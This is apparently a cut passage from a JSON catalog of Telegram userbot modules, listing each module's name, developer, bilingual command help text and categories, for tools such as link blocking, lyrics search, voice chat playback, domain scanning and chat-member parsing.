[ - "Moderation", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/RemoveLinks.py": { - "name": "RemoveLinks", - "description": "Remove links from your messages", - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVc.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "rmlink": "[status] - Enable / Shutdown link blocking [status] - Включить / выключить блокировку ссылок" - }, - { - "addrmlink": "[id] - Add / Remove chat where blocking links (if add *, removing will be global in all chats) [id] - Добавить / Удалить чат где блокируется ссылки (если добавить *, удаление будет глобальным во всех чатах)" - } - ], - "new_commands": [ - { - "rmlink": { - "ru_doc": " [status] - Включить / выключить блокировку ссылок", - "en_doc": null, - "doc": "[status] - Enable / Shutdown link blocking" - } - }, - { - "addrmlink": { - "ru_doc": " [id] - Добавить / Удалить чат где блокируется ссылки (если добавить *, удаление будет глобальным во всех чатах)", - "en_doc": null, - "doc": "[id] - Add / Remove chat where blocking links (if add *, removing will be global in all chats)" - } - } - ], - "category": [ - "Moderation", - "Chat" - ] - }, - "Yahikoro/Modules-for-FTG/asser.py": { - "name": "AsserMod", - "description": "easy as lists and as in PM.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ascmd": "use: .аs to fast add in as list." - } - ], - "new_commands": [ - { - "as": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .аs to fast add in as list." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Yahikoro/Modules-for-FTG/AutoBlackList.py": { - "name": "AutoBlackListMod", - "description": "Кидает всех неконтактов в ЧС.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "autoblcmd": "Включить/выключить режим AutoBlackList" - }, - { - "autoblstatuscmd": "Проверить статус AutoBlackList" - }, - { - "autodelchatcmd": "Автоматически удаляет диалог после того, как кинет в ЧС" - } - ], - "new_commands": [ - { - "autobl": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить режим AutoBlackList" - } - }, - { - "autoblstatus": { - "ru_doc": null, - "en_doc": null, - "doc": "Проверить статус AutoBlackList" - } - }, - { - "autodelchat": { - "ru_doc": null, - "en_doc": null, - "doc": "Автоматически удаляет диалог после того, как кинет в ЧС" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Yahikoro/Modules-for-FTG/WriteCorrect.py": { - "name": "ErrorMod", - "description": "Модуль для проверки слов на наличие ошибок ", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "errcmd": "Пиши .err + слово, можно реплай." - } - ], - "new_commands": [ - { - "err": { - "ru_doc": null, - "en_doc": null, - "doc": "Пиши .err + слово, можно реплай." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Yahikoro/Modules-for-FTG/SeeChat.py": { - "name": "SeeChatMod", - "description": "tracking in all PM chats.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "seechatcmd": "use: .seechat | to enable tracking in all PM chats." - }, - { - "setchatcmd": "use: .setchat | to set this chat as a track chat." - }, - { - "seechatscmd": "use: .seechats | to see the list of tracking people." - }, - { - "gseecmd": "use: .gsee {id} | to get the tracked file." - }, - { - "delseecmd": "use: .delsee {id} | to delete the tracked file." - }, - { - "excseecmd": "use: .excsee {id} | to add / remove user from exclude tracking." - }, - { - "exclistcmd": "use: .exclist | to see the list of exceptions." - } - ], - "new_commands": [ - { - "seechat": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .seechat | to enable tracking in all PM chats." - } - }, - { - "setchat": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .setchat | to set this chat as a track chat." - } - }, - { - "seechats": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .seechats | to see the list of tracking people." - } - }, - { - "gsee": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .gsee {id} | to get the tracked file." - } - }, - { - "delsee": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .delsee {id} | to delete the tracked file." - } - }, - { - "excsee": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .excsee {id} | to add / remove user from exclude tracking." - } - }, - { - "exclist": { - "ru_doc": null, - "en_doc": null, - "doc": "use: .exclist | to see the list of exceptions." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Yahikoro/Modules-for-FTG/Valute.py": { - "name": "ValuteMod", - "description": "Конвертер Валют", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "valcmd": ".val + количество + валюта" - } - ], - "new_commands": [ - { - "val": { - "ru_doc": null, - "en_doc": null, - "doc": ".val + количество + валюта" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Yahikoro/Modules-for-FTG/Conthelper.py": { - "name": "ConthelperMod", - "description": "Commands:", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "reportcmd": "User report for spam. " - }, - { - "blockcmd": "Use: .block to block this user." - }, - { - "unblockcmd": "Use: .unblock to unblock this user." - }, - { - "delcontcmd": "Use: .delcont to remove a user from contacts." - }, - { - "addcontcmd": "Use: .addcont to add somebody in contacts." - } - ], - "new_commands": [ - { - "report": { - "ru_doc": null, - "en_doc": null, - "doc": "User report for spam. " - } - }, - { - "block": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .block to block this user." - } - }, - { - "unblock": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .unblock to unblock this user." - } - }, - { - "delcont": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .delcont to remove a user from contacts." - } - }, - { - "addcont": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .addcont to add somebody in contacts." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Yahikoro/Modules-for-FTG/MafiaDrawing.py": { - "name": "MafiaDrawingMod", - "description": "Модуль ловли подарков в True Mafia News.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mdcmd": "Используй: .md чтобы включить/выключить ловлю подарков." - } - ], - "new_commands": [ - { - "md": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .md чтобы включить/выключить ловлю подарков." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Yahikoro/Modules-for-FTG/VMsm.py": { - "name": "VoiceMod", - "description": "Module for working with voicechat\n ", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "vplaycmd": ".vplay [chat (optional)] <link/reply_to_audio>\nPlay audio in VC" - }, - { - "vjoincmd": ".vjoin\nJoin to the VC" - }, - { - "vleavecmd": ".vleave\nLeave from the VC" - }, - { - "vreplaycmd": ".vreplay\nReplay audio in VC" - }, - { - "vstopcmd": ".vstop\nStop play in VC" - }, - { - "vmutecmd": ".vmute\nMute player in VC" - }, - { - "vunmutecmd": ".vmute\nUnmute player in VC" - }, - { - "vpausecmd": ".vpause\nPause player in VC" - }, - { - "vresumecmd": ".vresume\nResume player in VC" - }, - { - "vdebugcmd": ".vdebug\ndebug" - }, - { - "smcmd": ".sm \nto find music." - }, - { - "shazamcmd": ".shazam <reply to audio> - recognize track" - } - ], - "new_commands": [ - { - "vplay": { - "ru_doc": null, - "en_doc": null, - "doc": ".vplay [chat (optional)] <link/reply_to_audio>\nPlay audio in VC" - } - }, - { - "vjoin": { - "ru_doc": null, - "en_doc": null, - "doc": ".vjoin\nJoin to the VC" - } - }, - { - "vleave": { - "ru_doc": null, - "en_doc": null, - "doc": ".vleave\nLeave from the VC" - } - }, - { - "vreplay": { - "ru_doc": null, - "en_doc": null, - "doc": ".vreplay\nReplay audio in VC" - } - }, - { - "vstop": { - "ru_doc": null, - "en_doc": null, - "doc": ".vstop\nStop play in VC" - } - }, - { - "vmute": { - "ru_doc": null, - "en_doc": null, - "doc": ".vmute\nMute player in VC" - } - }, - { - "vunmute": { - "ru_doc": null, - "en_doc": null, - "doc": ".vmute\nUnmute player in VC" - } - }, - { - "vpause": { - "ru_doc": null, - "en_doc": null, - "doc": ".vpause\nPause player in VC" - } - }, - { - "vresume": { - "ru_doc": null, - "en_doc": null, - "doc": ".vresume\nResume player in VC" - } - }, - { - "vdebug": { - "ru_doc": null, - "en_doc": null, - "doc": ".vdebug\ndebug" - } - }, - { - "sm": { - "ru_doc": null, - "en_doc": null, - "doc": ".sm \nto find music." - } - }, - { - "shazam": { - "ru_doc": null, - "en_doc": null, - "doc": ".shazam <reply to audio> - recognize track" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Yahikoro/Modules-for-FTG/KeyboardSwitcher.py": { - "name": "KeyboardSwitcherMod", - "description": "Смена расскаладки клавиатуры у текста", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "switchcmd": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." - } - ], - "new_commands": [ - { - "switch": { - "ru_doc": null, - "en_doc": null, - "doc": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Yahikoro/Modules-for-FTG/Cycles.py": { - "name": "CirclesMod", - "description": "округляет всё", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "roundcmd": ".round <Reply to image/sticker or video/gif>" - } - ], - "new_commands": [ - { - "round": { - "ru_doc": null, - "en_doc": null, - "doc": ".round <Reply to image/sticker or video/gif>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Yahikoro/Modules-for-FTG/GitUploader.py": { - "name": "GitaddMod", - "description": "Загружает файлы на репозиторий GitHub", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "gitaddcmd": "" - } - ], - "new_commands": [ - { - "gitadd": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/speedtest.py": { - "name": "SpeedTestMod", - "description": "Модуль для проверки скорости интернета", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "speedcmd": "Запускает тест скорости интернета" - } - ], - "new_commands": [ - { - "speed": { - "ru_doc": null, - "en_doc": null, - "doc": "Запускает тест скорости интернета" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/histart.py": { - "name": "HistartMod", - "description": "🔁 Automatically restarts your userbot at set intervals.\n\n⏱ Use .setrestart <interval> and .histart on/off to enable/disable.", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "setrestart": "⚙️ Установить интервал автоперезапуска. Поддерживает 1h30m, 2d3h и т.д." - }, - { - "histart": "🔁 Включить или выключить авто-рестарт: .histart on | off" - } - ], - "new_commands": [ - { - "setrestart": { - "ru_doc": "⚙️ Установить интервал автоперезапуска. Поддерживает 1h30m, 2d3h и т.д.", - "en_doc": null, - "doc": null - } - }, - { - "histart": { - "ru_doc": "🔁 Включить или выключить авто-рестарт: .histart on | off", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/calc.py": { - "name": "CalcMod", - "description": "Калькулятор.", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "calc": "[Выражение] - Вычислить выражение" - } - ], - "new_commands": [ - { - "calc": { - "ru_doc": "[Выражение] - Вычислить выражение", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "fiksofficial/python-modules/githubinfo.py": { - "name": "GitHubInfoMod", - "description": "GitHub user info, recent activity and contribution graph", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "gh": "Show GitHub user info Информация о пользователе GitHub" - }, - { - "gha": "Show recent GitHub activity Последняя активность GitHub" - }, - { - "ghc": "Show GitHub contribution graph Показать график контрибов GitHub" - } - ], - "new_commands": [ - { - "gh": { - "ru_doc": "Информация о пользователе GitHub", - "en_doc": null, - "doc": "Show GitHub user info" - } - }, - { - "gha": { - "ru_doc": "Последняя активность GitHub", - "en_doc": null, - "doc": "Show recent GitHub activity" - } - }, - { - "ghc": { - "ru_doc": "Показать график контрибов GitHub", - "en_doc": null, - "doc": "Show GitHub contribution graph" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/lyrics.py": { - "name": "LyricsMod", - "description": "Модуль для поиска текста песни через Genius API", - "meta": { - "pic": null, - "banner": null, - "developer": "@PyModule" - }, - "commands": [ - { - "lyrics": "[запрос] - Найти текст песни по запросу" - } - ], - "new_commands": [ - { - "lyrics": { - "ru_doc": null, - "en_doc": null, - "doc": "[запрос] - Найти текст песни по запросу" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/sysinfo.py": { - "name": "SysInfoMod", - "description": "System information.", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "sysinfo": "🔧 Показывает информацию о системе." - } - ], - "new_commands": [ - { - "sysinfo": { - "ru_doc": "🔧 Показывает информацию о системе.", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "fiksofficial/python-modules/qrgen.py": { - "name": "QRGenMod", - "description": "Generate QR codes from text or links", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "qr": "<text or URL> — generate QR code Сгенерировать QR-код из текста или ссылки" - } - ], - "new_commands": [ - { - "qr": { - "ru_doc": "Сгенерировать QR-код из текста или ссылки", - "en_doc": null, - "doc": "<text or URL> — generate QR code" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fiksofficial/python-modules/checkhost.py": { - "name": "CheckHostMod", - "description": "Check host via check-host.net", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "checkhost": "[хост] — проверить хост" - } - ], - "new_commands": [ - { - "checkhost": { - "ru_doc": "[хост] — проверить хост", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/randomizer.py": { - "name": "RandomizerMod", - "description": "Randomly selects one of the comma-separated values.", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "randomizecmd": "Выбирает случайное значение из перечисленных через запятую" - } - ], - "new_commands": [ - { - "randomize": { - "ru_doc": "Выбирает случайное значение из перечисленных через запятую", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/ai.py": { - "name": "AIModule", - "description": "Module for interacting with AI", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "ai": "Отправить вопрос к AI. Использование: .ai [--no-history] <вопрос>" - }, - { - "txtai": "Отправить содержимое файла к AI. Использование: .txtai [--no-history] (ответ на файл)" - }, - { - "clearai": "Очистить историю запросов. Использование: .clearai" - }, - { - "aiconfig": "Просмотреть или изменить настройки. Использование: .aiconfig [--edit]" - }, - { - "aitest": "Проверить валидность API-ключа. Использование: .aitest" - } - ], - "new_commands": [ - { - "ai": { - "ru_doc": "Отправить вопрос к AI. Использование: .ai [--no-history] <вопрос>", - "en_doc": null, - "doc": null - } - }, - { - "txtai": { - "ru_doc": "Отправить содержимое файла к AI. Использование: .txtai [--no-history] (ответ на файл)", - "en_doc": null, - "doc": null - } - }, - { - "clearai": { - "ru_doc": "Очистить историю запросов. Использование: .clearai", - "en_doc": null, - "doc": null - } - }, - { - "aiconfig": { - "ru_doc": "Просмотреть или изменить настройки. Использование: .aiconfig [--edit]", - "en_doc": null, - "doc": null - } - }, - { - "aitest": { - "ru_doc": "Проверить валидность API-ключа. Использование: .aitest", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/autoprofile.py": { - "name": "AutoProfileMod", - "description": "Automatically update your profile description", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "autodesccmd": "Toggle auto bio Включить или отключить автоописание Enable or disable auto bio updates" - }, - { - "adddesccmd": "Add description Добавить описание: .adddesc <текст> Add a description: .adddesc <text>" - }, - { - "deldesccmd": "Delete description Удалить описание по номеру: .deldesc <номер> Delete description by number: .deldesc <number>" - }, - { - "listdesccmd": "List descriptions Показать список описаний Show list of descriptions" - }, - { - "setintervalcmd": "Set update interval Установить интервал обновления: .setinterval <сек> Set update interval: .setinterval <seconds>" - } - ], - "new_commands": [ - { - "autodesc": { - "ru_doc": "Включить или отключить автоописание", - "en_doc": "Enable or disable auto bio updates", - "doc": "Toggle auto bio" - } - }, - { - "adddesc": { - "ru_doc": "Добавить описание: .adddesc <текст>", - "en_doc": "Add a description: .adddesc <text>", - "doc": "Add description" - } - }, - { - "deldesc": { - "ru_doc": "Удалить описание по номеру: .deldesc <номер>", - "en_doc": "Delete description by number: .deldesc <number>", - "doc": "Delete description" - } - }, - { - "listdesc": { - "ru_doc": "Показать список описаний", - "en_doc": "Show list of descriptions", - "doc": "List descriptions" - } - }, - { - "setinterval": { - "ru_doc": "Установить интервал обновления: .setinterval <сек>", - "en_doc": "Set update interval: .setinterval <seconds>", - "doc": "Set update interval" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fiksofficial/python-modules/createavatarspack.py": { - "name": "CreateAvatarsPack", - "description": "Creates a sticker pack from photos and video avatars of participants", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "createavatars": "- Create a sticker pack from the avatars of users in the group - Создать стикерпак из аватаров пользователей группы" - } - ], - "new_commands": [ - { - "createavatars": { - "ru_doc": "- Создать стикерпак из аватаров пользователей группы", - "en_doc": null, - "doc": "- Create a sticker pack from the avatars of users in the group" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/getusername.py": { - "name": "GetUserMod", - "description": "Получает username пользователя по его ID", - "meta": { - "pic": null, - "banner": null, - "developer": "@PyModule" - }, - "commands": [ - { - "getuser": "[ID] - Найти username по ID." - } - ], - "new_commands": [ - { - "getuser": { - "ru_doc": null, - "en_doc": null, - "doc": "[ID] - Найти username по ID." - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "fiksofficial/python-modules/userparser.py": { - "name": "UserIDParserMod", - "description": "Парсер ID, имени, фамилии и юзернейма пользователей с выбором формата файла", - "meta": { - "pic": null, - "banner": null, - "developer": "@PyModule" - }, - "commands": [ - { - "formatparscmd": "Устанавливает формат файла: json, txt или html" - }, - { - "userparscmd": "Собирает информацию о пользователях из чата и сохраняет в файл" - } - ], - "new_commands": [ - { - "formatpars": { - "ru_doc": null, - "en_doc": null, - "doc": "Устанавливает формат файла: json, txt или html" - } - }, - { - "userpars": { - "ru_doc": null, - "en_doc": null, - "doc": "Собирает информацию о пользователях из чата и сохраняет в файл" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/channeladapter.py": { - "name": "ChannelAdapterMod", - "description": "Модуль для добавления переходника в сообщения каналов", - "meta": { - "pic": null, - "banner": null, - "developer": "@PyModule" - }, - "commands": [ - { - "addadaptercmd": "[CHANNEL ID] [Текст] - Добавить канал и переходник." - }, - { - "deladaptercmd": "[CHANNEL ID] - Удалить переходник для канала." - }, - { - "listadapterscmd": "- Показать список всех переходников." - }, - { - "clearadapterscmd": "- Удалить все переходники." - } - ], - "new_commands": [ - { - "addadapter": { - "ru_doc": null, - "en_doc": null, - "doc": "[CHANNEL ID] [Текст] - Добавить канал и переходник." - } - }, - { - "deladapter": { - "ru_doc": null, - "en_doc": null, - "doc": "[CHANNEL ID] - Удалить переходник для канала." - } - }, - { - "listadapters": { - "ru_doc": null, - "en_doc": null, - "doc": "- Показать список всех переходников." - } - }, - { - "clearadapters": { - "ru_doc": null, - "en_doc": null, - "doc": "- Удалить все переходники." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "fiksofficial/python-modules/wiki.py": { - "name": "WikiSearchMod", - "description": "Search Wikipedia articles", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "wiki": "[термин] - Поиск статьи в Википедии по запросу" - } - ], - "new_commands": [ - { - "wiki": { - "ru_doc": "[термин] - Поиск статьи в Википедии по запросу", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "fiksofficial/python-modules/dscanner.py": { - "name": "DomainScannerMod", - "description": "Scan a domain / Сканирование домена", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "domscancmd": "Scan domain / Сканировать домен. Usage: .domscan <domain> Сканировать домен. Использование: .domscan <домен>" - } - ], - "new_commands": [ - { - "domscan": { - "ru_doc": "Сканировать домен. Использование: .domscan <домен>", - "en_doc": null, - "doc": "Scan domain / Сканировать домен. Usage: .domscan <domain>" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "fiksofficial/python-modules/cutemessages.py": { - "name": "CuteMessages", - "description": "Makes your messages extra cute with adorable styles!", - "meta": { - "pic": null, - "banner": null, - "developer": "@pymodule" - }, - "commands": [ - { - "cutemessages": "Toggle CuteMessages on or off. Включение или выключение CuteMessages." - }, - { - "cutemessages_settings": "Просмотр и изменение настроек CuteMessages." - } - ], - "new_commands": [ - { - "cutemessages": { - "ru_doc": "Включение или выключение CuteMessages.", - "en_doc": null, - "doc": "Toggle CuteMessages on or off." - } - }, - { - "cutemessages_settings": { - "ru_doc": "Просмотр и изменение настроек CuteMessages.", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "fiksofficial/python-modules/irisrp.py": { - "name": "IrisRP", - "description": "РП команды как в боте Ирис.", - "meta": { - "pic": null, - "banner": null, - "developer": "@PyModule" - }, - "commands": [ - { - "addrpcmd": "[команда (1-3 слова)] / [действие] / (эмодзи) - Создать РП команду." - }, - { - "delrpcmd": "[команда / all] - Удалить РП команду." - }, - { - "rptogglecmd": "- Включить/Выключить РП команды." - }, - { - "rplistcmd": "- Список все ваших команд." - }, - { - "rpbackcmd": "(all) - Сохранить или загрузить список РП команд. All используется для замены всех команд." - }, - { - "rpacmd": "(ID/Reply) - Разрешить или запретить доступ к РП командам. Для подробностей напишите .rpa" - } - ], - "new_commands": [ - { - "addrp": { - "ru_doc": null, - "en_doc": null, - "doc": "[команда (1-3 слова)] / [действие] / (эмодзи) - Создать РП команду." - } - }, - { - "delrp": { - "ru_doc": null, - "en_doc": null, - "doc": "[команда / all] - Удалить РП команду." - } - }, - { - "rptoggle": { - "ru_doc": null, - "en_doc": null, - "doc": "- Включить/Выключить РП команды." - } - }, - { - "rplist": { - "ru_doc": null, - "en_doc": null, - "doc": "- Список все ваших команд." - } - }, - { - "rpback": { - "ru_doc": null, - "en_doc": null, - "doc": "(all) - Сохранить или загрузить список РП команд. All используется для замены всех команд." - } - }, - { - "rpa": { - "ru_doc": null, - "en_doc": null, - "doc": "(ID/Reply) - Разрешить или запретить доступ к РП командам. Для подробностей напишите .rpa" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "MoriSummerz/ftg-mods/magictext-ftg.py": { - "name": "MagicTextMod", - "description": "Magic Text generator", - "meta": { - "pic": null, - "banner": null, - "developer": "@morisummermods" - }, - "commands": [ - { - "mtsetcmd": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" - }, - { - "mtcmd": "Send message with animating text" - } - ], - "new_commands": [ - { - "mtset": { - "ru_doc": null, - "en_doc": null, - "doc": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" - } - }, - { - "mt": { - "ru_doc": null, - "en_doc": null, - "doc": "Send message with animating text" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "MoriSummerz/ftg-mods/chatgpt.py": { - "name": "ChatGPT", - "description": "ChatGPT AI API interaction", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/H1vPM6U.jpg", - "developer": "@morisummermods" - }, - "commands": [ - { - "gpt": "<question> - Ask a question <вопрос> - Задать вопрос" - } - ], - "new_commands": [ - { - "gpt": { - "ru_doc": "<вопрос> - Задать вопрос", - "en_doc": null, - "doc": "<question> - Ask a question" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "MoriSummerz/ftg-mods/magictext.py": { - "name": "MagicTextMod", - "description": "Magic Text generator", - "meta": { - "pic": "https://i.imgur.com/nmAXM3k.png", - "banner": "https://i.imgur.com/3joMFwC.jpg", - "developer": "@morisummermods" - }, - "commands": [ - { - "mtsetcmd": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" - }, - { - "mtisetcmd": "Set the text for inline message (Example: .mtiset ❤️‍🔥 I want to tell you something...)" - }, - { - "mtcmd": "Send message with animating text" - }, - { - "mticmd": "Send inline message with animating text" - } - ], - "new_commands": [ - { - "mtset": { - "ru_doc": null, - "en_doc": null, - "doc": "Set the symbols for animation (Separated by space. Example: .mtset ✨ 💖)" - } - }, - { - "mtiset": { - "ru_doc": null, - "en_doc": null, - "doc": "Set the text for inline message (Example: .mtiset ❤️‍🔥 I want to tell you something...)" - } - }, - { - "mt": { - "ru_doc": null, - "en_doc": null, - "doc": "Send message with animating text" - } - }, - { - "mti": { - "ru_doc": null, - "en_doc": null, - "doc": "Send inline message with animating text" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "MoriSummerz/ftg-mods/lyrics.py": { - "name": "LyricsMod", - "description": "Song lyrics from Genius", - "meta": { - "pic": "https://i.imgur.com/pViqDsI.png", - "banner": "https://i.imgur.com/AIjsMoV.jpg", - "developer": "@morisummermods" - }, - "commands": [ - { - "lyricscmd": "Get lyrics" - }, - { - "slyricscmd": "Get lyrics from your current Spotify playback (Needs SpotifyNow module)" - } - ], - "new_commands": [ - { - "lyrics": { - "ru_doc": null, - "en_doc": null, - "doc": "Get lyrics" - } - }, - { - "slyrics": { - "ru_doc": null, - "en_doc": null, - "doc": "Get lyrics from your current Spotify playback (Needs SpotifyNow module)" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "MoriSummerz/ftg-mods/osu.py": { - "name": "OsuMod", - "description": "\"I'm an osu!bot that can do some things written by @morisummerzxc", - "meta": { - "pic": "https://i.imgur.com/fcHCrS2.png", - "banner": "https://i.imgur.com/fPWWFrL.jpg", - "developer": "@morisummermods" - }, - "commands": [ - { - "osumecmd": "Remember user's nickname for commands" - }, - { - "osutopcmd": "Get user's 5 best plays" - }, - { - "osuprofilecmd": "Get user's profile" - } - ], - "new_commands": [ - { - "osume": { - "ru_doc": null, - "en_doc": null, - "doc": "Remember user's nickname for commands" - } - }, - { - "osutop": { - "ru_doc": null, - "en_doc": null, - "doc": "Get user's 5 best plays" - } - }, - { - "osuprofile": { - "ru_doc": null, - "en_doc": null, - "doc": "Get user's profile" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "MoriSummerz/ftg-mods/picsaver.py": { - "name": "PicsaverMod", - "description": "\"Automatic Self-destructing media saver to Saved Messages", - "meta": { - "pic": null, - "banner": null, - "developer": "@morisummermods" - }, - "commands": [ - { - "spcmd": "Reply to self-destructing media to save" - }, - { - "pscmd": "Enable/disable automatic self-destructing media save" - } - ], - "new_commands": [ - { - "sp": { - "ru_doc": null, - "en_doc": null, - "doc": "Reply to self-destructing media to save" - } - }, - { - "ps": { - "ru_doc": null, - "en_doc": null, - "doc": "Enable/disable automatic self-destructing media save" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "MoriSummerz/ftg-mods/airalert.py": { - "name": "AirAlertMod", - "description": "🇺🇦 Предупреждение о воздушной тревоге.\nНужно быть подписаным на @air_alert_ua и включены уведомления в вашем боте", - "meta": { - "pic": "https://i.imgur.com/AwKGCQe.png", - "banner": "https://i.imgur.com/V0Qhyi0.jpg", - "developer": "@morisummermods" - }, - "commands": [ - { - "alertforwardcmd": "Перенаправление предупреждений в другие чаты.\nДля добавления/удаления введите команду с ссылкой на чат.\nДля просмотра чатов введите команду без аргументов\nДля установки кастомной таблички введите .alertforward set <text>" - } - ], - "new_commands": [ - { - "alertforward": { - "ru_doc": null, - "en_doc": null, - "doc": "Перенаправление предупреждений в другие чаты.\nДля добавления/удаления введите команду с ссылкой на чат.\nДля просмотра чатов введите команду без аргументов\nДля установки кастомной таблички введите .alertforward set <text>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "MoriSummerz/ftg-mods/TimeBot.py": { - "name": "TimerBotMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "timebcmd": "Пример ввода: .timeb <задержка появления текста в минутах> <текст>" - } - ], - "new_commands": [ - { - "timeb": { - "ru_doc": null, - "en_doc": null, - "doc": "Пример ввода: .timeb <задержка появления текста в минутах> <текст>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "MoriSummerz/ftg-mods/top20.py": { - "name": "Top20Mod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@morisummermods" - }, - "commands": [ - { - "top20cmd": "" - } - ], - "new_commands": [ - { - "top20": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "MoriSummerz/ftg-mods/weather.py": { - "name": "WeatherMod", - "description": "Weather module", - "meta": { - "pic": "https://i.imgur.com/iwoskSb.png", - "banner": "https://i.imgur.com/JR6VqYF.png", - "developer": "@morisummermods" - }, - "commands": [ - { - "weathercitycmd": "Set default city for forecast" - }, - { - "weathercmd": "Current forecast for provided city" - } - ], - "new_commands": [ - 